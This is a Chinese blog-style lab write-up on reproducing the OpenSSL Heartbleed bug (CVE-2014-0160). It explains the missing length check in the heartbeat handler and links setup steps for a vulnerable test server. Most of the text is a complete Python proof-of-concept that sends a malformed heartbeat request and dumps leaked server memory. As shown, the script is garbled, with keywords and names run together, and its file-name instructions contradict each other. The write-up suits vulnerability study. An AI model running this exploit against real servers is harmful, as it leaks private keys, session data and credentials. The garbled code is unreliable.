openssl心脏滴血复现

heartbleed漏洞

   漏洞简介

       Heartbleed漏洞是openssl的一个漏洞,这个严重漏洞(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。漏洞存在于openssl的1.0.1版本。

  漏洞原因

漏洞代码如下:

int            

dtls1_process_heartbeat(SSL *s)

   {          

   unsigned char *p = &s->s3->rrec.data[0], *pl;

   unsigned short hbtype;

   unsigned int payload;

   unsigned int padding = 16; /* Use minimum padding */

结构体SSL3_RECORD的定义如下

typedef struct ssl3_record_st

   {

       int type;               /* type of record */

       unsigned int length;    /* How many bytes available */

       unsigned int off;       /* read/write offset into 'buf' */

       unsigned char *data;    /* pointer to the record data */

       unsigned char *input;   /* where the decode bytes are */

       unsigned char *comp;    /* only used with decompression - malloc()ed */

       unsigned long epoch;    /* epoch number, needed by DTLS1 */

       unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */

   } SSL3_RECORD;

每条SSLv3记录中包含一个类型域(type)、一个长度域(length)和一个指向记录数据的指针(data)。在dtls1_process_heartbeat中:

/* Read type and payload length first */    


/* -----修复代码,增加边界判断----

------- if (1 + 2 + 16 > s->s3->rrec.length) 

---------------- return 0;                  /* silently discard */ 

-------- if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)

---------------- return 0;                  /* silently discard per RFC 6520 sec. 4 */

--------------------------------------------------------------*/


hbtype = *p++;   

n2s(p, payload);

pl = p;

SSLv3记录的第一个字节标明了心跳包的类型。宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中——这实际上是心跳包载荷的长度域(length)。注意原本程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。

这个函数的后面进行了以下工作:

unsigned char *buffer, *bp;

int r;

/* Allocate memory for the response, size is 1 byte

* message type, plus 2 bytes payload length, plus

* payload, plus padding

*/

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

bp = buffer;

所以程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。

/* Enter response type, length and copy payload */

*bp++ = TLS1_HB_RESPONSE;

s2n(payload, bp);

memcpy(bp, pl, payload);

宏s2n与宏n2s干的事情正好相反:s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后,程序将所有数据发回给用户。

漏洞复现

靶机搭建

参考文章:https://blog.csdn.net/flurry_rain/article/details/82706375

文章中用的Apache下载地址失效了,可以用:http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz

安装Apache过程中,如果出现找不到apr或者找不到apr-util在或者找不到pcre,参考:https://blog.csdn.net/u014461701/article/details/82227844

还有,里面生成证书的命令少了一截,应该是:openssl x509 -req -days 3650 -inserver.csr -signkey server.key -out server.crt


利用测试

poc代码:

#!/usr/bin/python2

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])

# The author disclaims copyright to this source code.

importsys

importstruct

importsocket

importtime

importselect

importre

fromoptparseimportOptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p','--port', type='int', default=443, help='TCP port to test (default: 443)')

defh2bin(x):

returnx.replace(' ','').replace('\n','').decode('hex')

hello = h2bin('''

16 03 02 00  dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01                                 

''')

hb = h2bin('''

18 03 02 00 03

01 ff ff

''')

defhexdump(s):

forbinxrange(0, len(s),16):

lin = [cforcins[b : b +16]]

hxdat =' '.join('%02X'% ord(c)forcinlin)

pdat =''.join((cif32<= ord(c) <=126else'.')forcinlin)

print'  %04x: %-48s %s'% (b, hxdat, pdat)

print

defrecvall(s, length, timeout=5):

    endtime = time.time() + timeout

rdata =''

    remain = length

whileremain >0:

        rtime = endtime - time.time()

ifrtime <0:

returnNone

r, w, e = select.select([s], [], [],5)

ifsinr:

            data = s.recv(remain)

# EOF?

ifnotdata:

returnNone

            rdata += data

            remain -= len(data)

returnrdata


defrecvmsg(s):

hdr = recvall(s,5)

ifhdrisNone:

print'Unexpected EOF receiving record header - server closed connection'

returnNone,None,None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln,10)

ifpayisNone:

print'Unexpected EOF receiving record payload - server closed connection'

returnNone,None,None

print' ... received message: type = %d, ver = %04x, length = %d'% (typ, ver, len(pay))

returntyp, ver, pay

defhit_hb(s):

    s.send(hb)

whileTrue:

        typ, ver, pay = recvmsg(s)

iftypisNone:

print'No heartbeat response received, server likely not vulnerable'

returnFalse

iftyp ==24:

print'Received heartbeat response:'

            hexdump(pay)

iflen(pay) >3:

print'WARNING: server returned more data than it should - server is vulnerable!'

else:

print'Server processed malformed heartbeat, but did not return any extra data.'

returnTrue

iftyp ==21:

print'Received alert:'

            hexdump(pay)

print'Server returned error, likely not vulnerable'

returnFalse

defmain():

    opts, args = options.parse_args()

iflen(args) <1:

        options.print_help()

return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print'Connecting...'

    sys.stdout.flush()

s.connect((args[0], opts.port))

print'Sending Client Hello...'

    sys.stdout.flush()

    s.send(hello)

print'Waiting for Server Hello...'

    sys.stdout.flush()

whileTrue:

        typ, ver, pay = recvmsg(s)

iftyp ==None:

print'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

iftyp ==22andord(pay[0]) ==0x0E:

break

print'Sending heartbeat request...'

    sys.stdout.flush()

    s.send(hb)

    hit_hb(s)

if__name__ =='__main__':

    main()


保存为sqltest.py,用法:python openssl.py ip/域名 -p 端口

你可能感兴趣的:(openssl心脏滴血复现)